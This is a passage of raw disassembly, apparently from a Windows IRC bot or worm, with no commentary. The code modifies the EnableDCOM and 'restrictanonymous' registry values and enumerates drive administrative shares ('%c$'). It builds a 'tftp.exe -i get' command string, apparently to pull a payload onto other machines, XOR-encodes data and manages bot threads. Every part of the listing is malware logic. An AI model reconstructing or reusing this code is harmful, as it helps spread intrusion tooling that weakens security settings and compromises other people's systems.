push offset sub_4142E2
push edi
push edi
call dword_42108C ; CreateThread
cmp eax, edi
mov [ebp+var_4], eax
jz short loc_414449
jmp short loc_414444
; ---------------------------------------------------------------------------
loc_414440: ; CODE XREF: sub_4143AF+98j
push 32h
call esi ; Sleep
loc_414444: ; CODE XREF: sub_4143AF+8Fj
cmp [ebp+var_C], edi
jz short loc_414440
loc_414449: ; CODE XREF: sub_4143AF+8Dj
push [ebp+var_4]
call dword_42106C ; CloseHandle
push dword ptr [ebx+88h]
mov [ebx+0A4h], edi
call esi ; Sleep
lea eax, [ebp+var_20]
push 4
push eax
lea eax, [ebp+arg_0]
push eax
call sub_4153F0
add esp, 0Ch
push [ebp+arg_0]
call dword_43C488
inc eax
push eax
mov [ebp+arg_0], eax
call dword_43C550
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
lea eax, [ebp+var_20]
push eax
call sub_4153F0
add esp, 0Ch
jmp loc_4143DD
sub_4143AF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4144A0 proc near ; DATA XREF: sub_40CD3A+5979o
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
pop edi
pop esi
push [ebp+var_8]
cmp [ebp+var_10], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
jz short loc_4144E7
call sub_414500
jmp short loc_4144EC
; ---------------------------------------------------------------------------
loc_4144E7: ; CODE XREF: sub_4144A0+3Ej
call sub_414826
loc_4144EC: ; CODE XREF: sub_4144A0+45j
add esp, 10h
push [ebp+var_14]
call sub_4150F0
pop ecx
push 0
call dword_421048 ; ExitThread
sub_4144A0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414500 proc near ; CODE XREF: sub_4144A0+40p
var_214 = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp dword_43C620, edi
jnz loc_414632
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_43C5C4
test eax, eax
jnz short loc_41458B
mov ax, word_437B80
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_43C578
test eax, eax
lea eax, [ebp+var_214]
jz short loc_414573
push offset unk_437B3C
jmp short loc_414578
; ---------------------------------------------------------------------------
loc_414573: ; CODE XREF: sub_414500+6Aj
push offset dword_437B0C
loc_414578: ; CODE XREF: sub_414500+71j
push eax
call sub_415316
pop ecx
pop ecx
push [ebp+var_4]
call dword_43C530
jmp short loc_41459E
; ---------------------------------------------------------------------------
loc_41458B: ; CODE XREF: sub_414500+36j
lea eax, [ebp+var_214]
push offset unk_437AC8
push eax
call sub_415316
pop ecx
pop ecx
loc_41459E: ; CODE XREF: sub_414500+89j
cmp [ebp+arg_C], edi
jnz short loc_4145BD
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
loc_4145BD: ; CODE XREF: sub_414500+A1j
lea eax, [ebp+var_214]
push eax
call sub_40B078
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_43C5C4
test eax, eax
jnz short loc_41462B
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], 1
call dword_43C578
test eax, eax
lea eax, [ebp+var_214]
jz short loc_414613
push offset unk_437A60
jmp short loc_414618
; ---------------------------------------------------------------------------
loc_414613: ; CODE XREF: sub_414500+10Aj
push offset unk_437A18
loc_414618: ; CODE XREF: sub_414500+111j
push eax
call sub_415316
pop ecx
pop ecx
push [ebp+var_4]
call dword_43C530
jmp short loc_414645
; ---------------------------------------------------------------------------
loc_41462B: ; CODE XREF: sub_414500+E2j
push offset unk_4379C8
jmp short loc_414637
; ---------------------------------------------------------------------------
loc_414632: ; CODE XREF: sub_414500+13j
push offset unk_437980
loc_414637: ; CODE XREF: sub_414500+130j
lea eax, [ebp+var_214]
push eax
call sub_415316
pop ecx
pop ecx
loc_414645: ; CODE XREF: sub_414500+129j
cmp [ebp+arg_C], edi
jnz short loc_414664
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
loc_414664: ; CODE XREF: sub_414500+148j
lea eax, [ebp+var_214]
push eax
call sub_40B078
cmp dword_43C648, edi
pop ecx
jnz loc_4147E1
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_414687: ; CODE XREF: sub_414500+2C5j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call dword_43C4A0
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_414726
cmp eax, 0EAh
jz short loc_414726
xor esi, esi
loc_4146B5: ; CODE XREF: sub_414500+21Fj
push off_4377D0[esi]
push edi
call sub_413225
pop ecx
pop ecx
push off_4377D0[esi]
test eax, eax
lea eax, [ebp+var_214]
jnz short loc_4146DA
push offset unk_437948
jmp short loc_4146DF
; ---------------------------------------------------------------------------
loc_4146DA: ; CODE XREF: sub_414500+1D1j
push offset unk_437908
loc_4146DF: ; CODE XREF: sub_414500+1D8j
push 200h
push eax
call sub_41588A
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_41470C
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
loc_41470C: ; CODE XREF: sub_414500+1F0j
lea eax, [ebp+var_214]
push eax
call sub_40B078
add esi, 8
pop ecx
cmp esi, 20h
jb short loc_4146B5
jmp loc_4147BE
; ---------------------------------------------------------------------------
loc_414726: ; CODE XREF: sub_414500+1AAj
; sub_414500+1B1j
mov esi, [ebp+var_8]
xor ebx, ebx
inc ebx
cmp [ebp+var_4], ebx
jb loc_4147B5
loc_414735: ; CODE XREF: sub_414500+2B1j
mov edi, [esi]
push edi
call sub_4179FC
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_4147AA
push edi
call sub_413112
push eax
push 0
call sub_413225
add esp, 0Ch
push dword ptr [esi]
test eax, eax
lea eax, [ebp+var_214]
jnz short loc_41476A
push offset unk_4378D0
jmp short loc_41476F
; ---------------------------------------------------------------------------
loc_41476A: ; CODE XREF: sub_414500+261j
push offset unk_437890
loc_41476F: ; CODE XREF: sub_414500+268j
push 200h
push eax
call sub_41588A
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41479D
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
loc_41479D: ; CODE XREF: sub_414500+281j
lea eax, [ebp+var_214]
push eax
call sub_40B078
pop ecx
loc_4147AA: ; CODE XREF: sub_414500+244j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_414735
xor edi, edi
loc_4147B5: ; CODE XREF: sub_414500+22Fj
push [ebp+var_8]
call dword_43C5E4
loc_4147BE: ; CODE XREF: sub_414500+221j
cmp [ebp+var_10], 0EAh
jz loc_414687
lea eax, [ebp+var_214]
push offset unk_437854
push eax
call sub_415316
pop ecx
pop ecx
pop ebx
jmp short loc_4147F4
; ---------------------------------------------------------------------------
loc_4147E1: ; CODE XREF: sub_414500+177j
lea eax, [ebp+var_214]
push offset unk_437810
push eax
call sub_415316
pop ecx
pop ecx
loc_4147F4: ; CODE XREF: sub_414500+2DFj
cmp [ebp+arg_C], edi
jnz short loc_414812
push edi
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
loc_414812: ; CODE XREF: sub_414500+2F7j
lea eax, [ebp+var_214]
push eax
call sub_40B078
pop ecx
xor eax, eax
pop edi
inc eax
pop esi
leave
retn
sub_414500 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414826 proc near ; CODE XREF: sub_4144A0:loc_4144E7p
var_220 = byte ptr -220h
var_20 = byte ptr -20h
var_14 = byte ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push ebx
xor ebx, ebx
cmp dword_43C620, ebx
push esi
jnz loc_414954
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push ebx
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_43C5C4
test eax, eax
jnz short loc_4148B1
mov ax, word_437D88
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push ebx
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_43C578
test eax, eax
lea eax, [ebp+var_220]
jz short loc_414899
push offset unk_437D50
jmp short loc_41489E
; ---------------------------------------------------------------------------
loc_414899: ; CODE XREF: sub_414826+6Aj
push offset dword_437D20
loc_41489E: ; CODE XREF: sub_414826+71j
push eax
call sub_415316
pop ecx
pop ecx
push [ebp+var_4]
call dword_43C530
jmp short loc_4148C4
; ---------------------------------------------------------------------------
loc_4148B1: ; CODE XREF: sub_414826+36j
lea eax, [ebp+var_220]
push offset unk_437AC8
push eax
call sub_415316
pop ecx
pop ecx
loc_4148C4: ; CODE XREF: sub_414826+89j
cmp [ebp+arg_C], ebx
jnz short loc_4148E3
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
loc_4148E3: ; CODE XREF: sub_414826+A1j
lea eax, [ebp+var_220]
push eax
call sub_40B078
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push ebx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_43C5C4
test eax, eax
jnz short loc_41494D
lea eax, [ebp+var_8]
push 4
push eax
push 4
push ebx
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], ebx
call dword_43C578
test eax, eax
lea eax, [ebp+var_220]
jz short loc_414935
push offset unk_437CD0
jmp short loc_41493A
; ---------------------------------------------------------------------------
loc_414935: ; CODE XREF: sub_414826+106j
push offset unk_437C88
loc_41493A: ; CODE XREF: sub_414826+10Dj
push eax
call sub_415316
pop ecx
pop ecx
push [ebp+var_4]
call dword_43C530
jmp short loc_414967
; ---------------------------------------------------------------------------
loc_41494D: ; CODE XREF: sub_414826+E2j
push offset unk_437C38
jmp short loc_414959
; ---------------------------------------------------------------------------
loc_414954: ; CODE XREF: sub_414826+13j
push offset unk_437980
loc_414959: ; CODE XREF: sub_414826+12Cj
lea eax, [ebp+var_220]
push eax
call sub_415316
pop ecx
pop ecx
loc_414967: ; CODE XREF: sub_414826+125j
cmp [ebp+arg_C], ebx
jnz short loc_414986
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
loc_414986: ; CODE XREF: sub_414826+144j
lea eax, [ebp+var_220]
push eax
call sub_40B078
cmp dword_43C648, ebx
pop ecx
jnz loc_414AFD
push edi
xor esi, esi
mov edi, 200h
loc_4149A7: ; CODE XREF: sub_414826+1EEj
push dword_4377D4[esi]
push off_4377D0[esi]
push ebx
call sub_413179
add esp, 0Ch
push off_4377D0[esi]
test eax, eax
lea eax, [ebp+var_220]
jnz short loc_4149D3
push offset unk_437C04
jmp short loc_4149D8
; ---------------------------------------------------------------------------
loc_4149D3: ; CODE XREF: sub_414826+1A4j
push offset unk_437BC8
loc_4149D8: ; CODE XREF: sub_414826+1ABj
push edi
push eax
call sub_41588A
add esp, 10h
cmp [ebp+arg_C], ebx
jnz short loc_414A01
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
loc_414A01: ; CODE XREF: sub_414826+1BFj
lea eax, [ebp+var_220]
push eax
call sub_40B078
add esi, 8
pop ecx
cmp esi, 10h
jb short loc_4149A7
call dword_421148 ; GetLogicalDrives
test eax, eax
mov [ebp+var_4], eax
mov bl, 41h
jz loc_414AE5
loc_414A29: ; CODE XREF: sub_414826+2B9j
mov eax, [ebp+var_4]
and eax, 1
cmp al, 1
jnz loc_414ADA
cmp bl, 41h
jz loc_414ADA
movsx esi, bl
push esi
push offset aC_3 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah
push eax
call sub_41588A
push esi
push offset aC_2 ; "%c:\\"
lea eax, [ebp+var_20]
push 0Ah
push eax
call sub_41588A
add esp, 20h
lea eax, [ebp+var_20]
push eax
call dword_43C5B4
cmp eax, 3
jnz short loc_414ADA
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
push 0
call sub_413179
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_220]
jnz short loc_414A9E
push offset unk_437C04
jmp short loc_414AA3
; ---------------------------------------------------------------------------
loc_414A9E: ; CODE XREF: sub_414826+26Fj
push offset unk_437BC8
loc_414AA3: ; CODE XREF: sub_414826+276j
push edi
push eax
call sub_41588A
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_414ACD
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
loc_414ACD: ; CODE XREF: sub_414826+28Bj
lea eax, [ebp+var_220]
push eax
call sub_40B078
pop ecx
loc_414ADA: ; CODE XREF: sub_414826+20Bj
; sub_414826+214j ...
inc bl
shr [ebp+var_4], 1
jnz loc_414A29
loc_414AE5: ; CODE XREF: sub_414826+1FDj
lea eax, [ebp+var_220]
push offset unk_437B84
push eax
call sub_415316
pop ecx
xor ebx, ebx
pop ecx
pop edi
jmp short loc_414B10
; ---------------------------------------------------------------------------
loc_414AFD: ; CODE XREF: sub_414826+173j
lea eax, [ebp+var_220]
push offset unk_437810
push eax
call sub_415316
pop ecx
pop ecx
loc_414B10: ; CODE XREF: sub_414826+2D5j
cmp [ebp+arg_C], ebx
jnz short loc_414B2E
push ebx
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
loc_414B2E: ; CODE XREF: sub_414826+2EDj
lea eax, [ebp+var_220]
push eax
call sub_40B078
pop ecx
xor eax, eax
pop esi
inc eax
pop ebx
leave
retn
sub_414826 endp
; =============== S U B R O U T I N E =======================================
sub_414B42 proc near ; CODE XREF: sub_414B62+Ap
; sub_414C3A+8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_415B10
push [esp+8+arg_4]
mov esi, eax
call sub_415B10
pop ecx
lea eax, [esi+eax*2+0C1h]
pop ecx
pop esi
retn
sub_414B42 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414B62 proc near ; CODE XREF: sub_414C51+49p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_C]
push [ebp+arg_8]
call sub_414B42
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
mov [ebp+var_4], eax
jbe short loc_414B7F
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_414B7F: ; CODE XREF: sub_414B62+17j
push ebx
push esi
push edi
push [ebp+arg_8]
call sub_415B10
push [ebp+arg_C]
mov esi, eax
call sub_415B10
mov edi, eax
mov ebx, [ebp+arg_0]
push 0FFFFFFEDh
lea eax, [edi+esi+12h]
mov dword_437E24, eax
lea eax, [edi+1]
mov dword_437E45, eax
lea eax, [edi+17h]
mov dword_437E3D, eax
pop eax
push 74h
sub eax, edi
push offset dword_437DC0
push ebx
mov dword_437E53, eax
call sub_4153F0
push esi
lea eax, [ebx+74h]
push [ebp+arg_8]
push eax
call sub_4153F0
add esi, 74h
push 5
push (offset aTftp_exeIGet+0Ch)
lea eax, [esi+ebx]
push eax
call sub_4153F0
add esi, 5
push edi
push [ebp+arg_C]
lea eax, [esi+ebx]
push eax
call sub_4153F0
add esi, edi
push 10h
push (offset aTftp_exeIGet+11h)
lea eax, [esi+ebx]
push eax
call sub_4153F0
add esp, 44h
add esi, 10h
push edi
lea eax, [esi+ebx]
push [ebp+arg_C]
push eax
call sub_4153F0
add esi, edi
push 38h
add esi, ebx
push offset byte_437E49
push esi
call sub_4153F0
mov eax, [ebp+var_4]
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_414B62 endp
; =============== S U B R O U T I N E =======================================
sub_414C3A proc near ; CODE XREF: sub_414C51+Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_414B42
push eax
call sub_414CBE
add esp, 0Ch
retn
sub_414C3A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414C51 proc near ; CODE XREF: sub_403166+32p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_8]
push edi
mov edi, [ebp+arg_C]
push edi
push ebx
call sub_414C3A
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
ja short loc_414C71
cmp eax, 0FFFFh
jbe short loc_414C75
loc_414C71: ; CODE XREF: sub_414C51+17j
xor eax, eax
jmp short loc_414CBA
; ---------------------------------------------------------------------------
loc_414C75: ; CODE XREF: sub_414C51+1Ej
push esi
push edi
push ebx
call sub_414B42
add eax, 101h
push eax
call sub_415BE9
add esp, 0Ch
mov esi, eax
push edi
push ebx
push edi
push ebx
call sub_414B42
pop ecx
pop ecx
push eax
push esi
call sub_414B62
push eax
push esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_414CD9
push esi
mov edi, eax
call sub_415C9B
add esp, 24h
mov eax, edi
pop esi
loc_414CBA: ; CODE XREF: sub_414C51+22j
pop edi
pop ebx
pop ebp
retn
sub_414C51 endp
; =============== S U B R O U T I N E =======================================
sub_414CBE proc near ; CODE XREF: sub_414C3A+Ep
; sub_414CD9+47p
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_414CC7
inc ecx
loc_414CC7: ; CODE XREF: sub_414CBE+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_414CBE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414CD9 proc near ; CODE XREF: sub_414C51+56p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_C]
cmp dl, 0Ah
jz short loc_414CF3
cmp dl, 0Dh
jz short loc_414CF3
cmp dl, 5Ch
jz short loc_414CF3
test dl, dl
jnz short loc_414CF7
loc_414CF3: ; CODE XREF: sub_414CD9+Aj
; sub_414CD9+Fj ...
inc edx
mov [ebp+arg_C], edx
loc_414CF7: ; CODE XREF: sub_414CD9+18j
push esi
mov esi, 0FFh
cmp edx, esi
jbe short loc_414D1F
mov eax, edx
shr eax, 8
cmp al, 0Ah
jz short loc_414D16
cmp al, 0Dh
jz short loc_414D16
cmp al, 5Ch
jz short loc_414D16
test al, al
jnz short loc_414D1F
loc_414D16: ; CODE XREF: sub_414CD9+2Fj
; sub_414CD9+33j ...
add edx, 100h
mov [ebp+arg_C], edx
loc_414D1F: ; CODE XREF: sub_414CD9+26j
; sub_414CD9+3Bj
push edx
call sub_414CBE
cmp eax, [ebp+arg_4]
pop ecx
mov [ebp+var_4], eax
ja short loc_414D35
cmp eax, 0FFFFh
jbe short loc_414D3C
loc_414D35: ; CODE XREF: sub_414CD9+53j
xor eax, eax
jmp loc_414DD7
; ---------------------------------------------------------------------------
loc_414D3C: ; CODE XREF: sub_414CD9+5Aj
push ebx
mov bl, byte_46B608
xor ecx, ecx
push edi
mov edi, [ebp+arg_8]
test edx, edx
jbe short loc_414D69
loc_414D4D: ; CODE XREF: sub_414CD9+8Ej
mov al, [ecx+edi]
xor al, bl
jz short loc_414D60
cmp al, 0Ah
jz short loc_414D60
cmp al, 0Dh
jz short loc_414D60
cmp al, 5Ch
jnz short loc_414D64
loc_414D60: ; CODE XREF: sub_414CD9+79j
; sub_414CD9+7Dj ...
inc bl
xor ecx, ecx
loc_414D64: ; CODE XREF: sub_414CD9+85j
inc ecx
cmp ecx, edx
jb short loc_414D4D
loc_414D69: ; CODE XREF: sub_414CD9+72j
cmp edx, esi
mov byte_46B608, bl
ja short loc_414D95
push 15h
push offset loc_437DA8
push [ebp+arg_0]
mov byte_437DB5, dl
mov byte_437DB9, bl
call sub_4153F0
add esp, 0Ch
push 15h
jmp short loc_414DB6
; ---------------------------------------------------------------------------
loc_414D95: ; CODE XREF: sub_414CD9+98j
push 17h
push offset loc_437D90
push [ebp+arg_0]
mov word_437D9E, dx
mov byte_437DA3, bl
call sub_4153F0
add esp, 0Ch
push 17h
loc_414DB6: ; CODE XREF: sub_414CD9+BAj
xor eax, eax
pop ecx
cmp [ebp+arg_C], eax
jbe short loc_414DD2
mov edx, [ebp+arg_0]
lea esi, [ecx+edx]
loc_414DC4: ; CODE XREF: sub_414CD9+F7j
mov cl, [eax+edi]
xor cl, bl
mov [esi+eax], cl
inc eax
cmp eax, [ebp+arg_C]
jb short loc_414DC4
loc_414DD2: ; CODE XREF: sub_414CD9+E3j
mov eax, [ebp+var_4]
pop edi
pop ebx
loc_414DD7: ; CODE XREF: sub_414CD9+5Ej
pop esi
leave
retn
sub_414CD9 endp
; =============== S U B R O U T I N E =======================================
sub_414DDA proc near ; CODE XREF: sub_406048+21Fp
; sub_4071B6+EDp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_4414C8
loc_414DE2: ; CODE XREF: sub_414DDA+18j
cmp byte ptr [eax], 0
jz short loc_414DF6
add eax, 234h
inc edi
cmp eax, offset dword_46A9B8
jl short loc_414DE2
jmp short loc_414E41
; ---------------------------------------------------------------------------
loc_414DF6: ; CODE XREF: sub_414DDA+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_4414C8[esi]
push eax
call sub_416BE0
mov eax, [esp+14h+arg_4]
and dword_4416CC[esi], 0
and dword_4416D0[esi], 0
mov dword_4416C8[esi], eax
mov eax, [esp+14h+arg_8]
add esp, 0Ch
and byte_4416E0[esi], 0
mov dword_4416D4[esi], eax
pop esi
loc_414E41: ; CODE XREF: sub_414DDA+1Aj
mov eax, edi
pop edi
retn
sub_414DDA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414E45 proc near ; DATA XREF: sub_40CD3A+55FDo
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
push [ebp+var_10]
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_414E97
push [ebp+var_14]
call sub_4150F0
add esp, 14h
push 0
call dword_421048 ; ExitThread
pop edi
pop esi
sub_414E45 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414E97 proc near ; CODE XREF: sub_414E45+38p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset aThreadList ; "-[Thread List]-"
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
xor edi, edi
mov esi, offset dword_4414C8
loc_414EC1: ; CODE XREF: sub_414E97+78j
cmp byte ptr [esi], 0
jz short loc_414F02
cmp [ebp+arg_C], 0
jnz short loc_414ED5
cmp dword ptr [esi+204h], 0
jnz short loc_414F02
loc_414ED5: ; CODE XREF: sub_414E97+33j
push esi
push edi
lea eax, [ebp+var_200]
push offset aD_S ; "%d. %s"
push eax
call sub_415316
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 24h
loc_414F02: ; CODE XREF: sub_414E97+2Dj
; sub_414E97+3Cj
add esi, 234h
inc edi
cmp esi, offset dword_46A9B8
jl short loc_414EC1
pop edi
pop esi
leave
retn
sub_414E97 endp
; =============== S U B R O U T I N E =======================================
sub_414F15 proc near ; CODE XREF: sub_40CD3A+49B9p
; sub_414F9D+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_414F97
cmp esi, 12Ch
jge short loc_414F97
imul esi, 234h
push edi
push ebx
lea edi, dword_4416DC[esi]
push dword ptr [edi]
call dword_421130 ; TerminateThread
cmp [edi], ebx
jz short loc_414F47
inc ebp
loc_414F47: ; CODE XREF: sub_414F15+2Fj
mov [edi], ebx
lea edi, dword_4416D0[esi]
mov dword_4416C8[esi], ebx
mov dword_4416CC[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_414F68
push eax
call sub_413EDB
pop ecx
loc_414F68: ; CODE XREF: sub_414F15+4Aj
mov [edi], ebx
lea edi, dword_4416D4[esi]
mov byte ptr dword_4414C8[esi], bl
mov byte_4416E0[esi], bl
push dword ptr [edi]
call dword_43C5EC
lea esi, dword_4416D8[esi]
mov [edi], ebx
push dword ptr [esi]
call dword_43C5EC
mov [esi], ebx
pop edi
loc_414F97: ; CODE XREF: sub_414F15+Dj
; sub_414F15+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_414F15 endp
; =============== S U B R O U T I N E =======================================
sub_414F9D proc near ; CODE XREF: sub_409D34:loc_409D58p
; sub_40C48C+18p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_4414C8
loc_414FA9: ; CODE XREF: sub_414F9D+2Aj
cmp byte ptr [esi], 0
jz short loc_414FBA
push edi
call sub_414F15
test eax, eax
pop ecx
jz short loc_414FBA
inc ebx
loc_414FBA: ; CODE XREF: sub_414F9D+Fj
; sub_414F9D+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_46A9B8
jl short loc_414FA9
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_414F9D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414FCF proc near ; CODE XREF: sub_40CD3A+1C48p
; sub_40CD3A+1CB9p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_4416CC
loc_414FE3: ; CODE XREF: sub_414FCF+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_415005
test edi, edi
jle short loc_414FF7
cmp [esi], edi
jz short loc_414FF7
cmp ebx, edi
jnz short loc_415005
loc_414FF7: ; CODE XREF: sub_414FCF+1Ej
; sub_414FCF+22j
push ebx
call sub_414F15
test eax, eax
pop ecx
jz short loc_415005
inc [ebp+var_4]
loc_415005: ; CODE XREF: sub_414FCF+1Aj
; sub_414FCF+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_46ABBC
jl short loc_414FE3
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_414FCF endp
; =============== S U B R O U T I N E =======================================
sub_41501C proc near ; CODE XREF: sub_40713F+Bp
; sub_4071B6+2Dp ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_4416C8
loc_415023: ; CODE XREF: sub_41501C+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_41502C
inc eax
loc_41502C: ; CODE XREF: sub_41501C+Dj
add ecx, 234h
